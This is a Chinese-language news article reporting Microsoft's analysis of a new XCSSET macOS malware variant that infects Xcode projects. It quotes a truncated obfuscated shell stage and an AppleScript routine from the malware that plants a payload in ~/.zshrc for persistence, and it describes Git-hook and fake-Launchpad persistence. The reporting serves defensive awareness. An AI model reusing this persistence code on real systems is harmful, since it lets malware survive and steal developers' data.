新型XCSSET恶意软件利用增强混淆技术攻击macOS用户

ops/2025/3/17 12:43:47/

image

微软威胁情报团队发现了一种新型的XCSSET变种,这是一种复杂的模块化macOS恶意软件,能够感染Xcode项目,并在开发者构建这些项目时执行。

这是自2022年以来的首个已知XCSSET变种,采用了增强的混淆方法、更新的持久化机制以及新的感染策略,旨在窃取macOS用户的敏感信息。

恶意软件的感染策略

该恶意软件的感染策略利用了开发者在开发与Apple或macOS相关的应用程序时共享项目文件的方式。新型XCSSET变种采用了模块化的方式,其有效载荷经过深度编码,并改进了错误处理机制。

为了在受感染设备上保持低调并尽可能保持无文件状态,该恶意软件广泛使用脚本语言、UNIX命令和合法二进制文件,这使得检测和清除变得极具挑战性。在代码层面,恶意软件对模块名称进行混淆,以阻碍静态分析,并采用随机化方法生成有效载荷。

与之前的变种仅依赖xxd(hexdump)进行编码不同,最新版本还引入了Base64编码技术。

持久化技术

该恶意软件采用了三种不同的持久化技术,确保其有效载荷在以下情况下启动:新shell会话开始、用户打开伪造的Launchpad应用程序或开发者在Git中提交更改。

微软研究人员指出,感染链由四个阶段组成,首先是构建受感染的Xcode项目时运行的混淆shell有效载荷。

混淆的第一阶段 shell payload(来源 – Microsoft)

第一阶段的有效载荷在被传输到 shell 之前,会经过多次十六进制解码迭代:

sh -c"(echo  33336363233343633335233303536

在初始感染之后,该恶意软件会从其命令与控制服务器(C2)下载额外的模块,其中包括能够窃取系统信息、浏览器扩展数据、数字钱包信息以及来自 “备忘录” 应用程序的笔记内容的组件。

该恶意软件通过几种复杂的方法来实现驻留。其中一种方法是修改~/.zshrc 文件,以便在每次启动新的 shell 会话时执行恶意代码。

.zshrc 驻留方法(来源:微软)

恶意软件在利用.zshrc 文件驻留时,会先检查是否存在恢复标志,然后根据标志决定是删除恶意文件,还是创建并更新它:

on doMain()tryif RESTORE_DEFAULT is true thendo shell script "rm -f ~/.zshrc_aliases"log ".zshrc_aliases removed"elseset payload to getPayloadBody("Terminal")set payload to quoted form of payloaddo shell script "echo " & payload & " > ~/.zshrc_aliases"log ".zshrc_aliases updated"set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases"set payload to quoted form of payloaddo shell script "touch ~/.zshrc"do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc"log ".zshrc done"end ifon error the errorMessagelog "failed at .zshrc: " & errorMessagereturnend try
end doMain

另一种驻留手段是创建一个伪装成启动台的恶意应用,只要用户试图打开真正的启动台,这个伪装应用就会执行恶意代码。

此外,恶意软件还会通过修改 Git 仓库的预提交钩子,在开发者提交更改时执行有效载荷,从而感染 Git 仓库。

微软建议用户及时更新到最新版本的操作系统,在使用 Xcode 项目时仔细检查,同时启用微软端点防护软件(Microsoft Defender for Endpoint)等安全防护工具,这些工具能够检测并隔离该恶意软件变种,有效保护系统安全。


http://www.ppmy.cn/ops/166494.html

相关文章

C++单例模式精解

单例模式(重点*) 单例模式是23种常用设计模式中最简单的设计模式之一,它提供了一种创建对象的方式,确保只有单个对象被创建。这个设计模式主要目的是想在整个系统中只能出现类的一个实例,即一个类只有一个对象。 将单…

【Spring】SpringIOC详解,包括源码分析,xml以及注解开发

SpringIOC Spring简介 ​ Spring是一个开源框架,它由[Rod Johnson]创建。它是为了解决企业应用开发的复杂性而创建的。 ​ 目前是JavaEE开发的灵魂框架。他可以简化JavaEE开发,可以非常方便整合其他框架,无侵入的进行功能增强。 ​ Sprin…

如何优雅地将Collection转为Map?

将Collection转换为Map是常见的需求,尤其是在处理数据时需要快速查找或去重。以下是几种常见的方法,包括使用谷歌的Maps.uniqueIndex、Hutool的CollUtil.toMap和Java Stream API的Collectors.toMap三种方法。 谷歌的Maps.uniqueIndex /*** 使用com.goo…

OSPF | LSDB 链路状态数据库 / SPF 算法 / 实验

注:本文为 “OSPF | LSDB / SPF ” 相关文章合辑。 LSDB 和 SPF 算法 潇湘浪子的蹋马骨汤 发布 2019-02-15 23:58:46 1. 链路状态数据库 (LSDB) 链路状态协议除了执行洪泛扩散链路状态通告(LSA)以及发现邻居等任务外,其第三个任…

电子电气架构 --- 智能电动汽车的品牌竞争转变

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 人生是一场骗局,最大的任务根本不是什么买车买房,也不是及时行乐,这就…

.NET Framework华为云流水线发布

文章目录 前言一、新建代码检查二、新建编译构建三、新建部署三、新建流水线 前言 华为云流水线发布:自动检查代码,打包发布到服务器 一、新建代码检查 检查代码是否存在报错 设置规则集 二、新建编译构建 三、新建部署 模板选择空模板或者自己去创建…

Kubernetes的组成和架构

Kubernetes(K8s)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用程序。它由多个组件组成,这些组件可以分为两类:控制平面(Control Plane)组件和节点(Node&#xff0…

Sublime Text 2.0.2 安装与汉化指南:从下载到中文包配置的完整教程

Sublime Text 是一款轻量级、高性能的代码编辑器,深受开发者喜爱。Sublime Text 2.0.2 是一个较旧的版本,但仍然可以满足基本的代码编辑需求。以下是关于 Sublime Text 2.0.2 的安装、中文包配置以及使用方法的详细指南。 1. 下载 Sublime Text 2.0.2 提…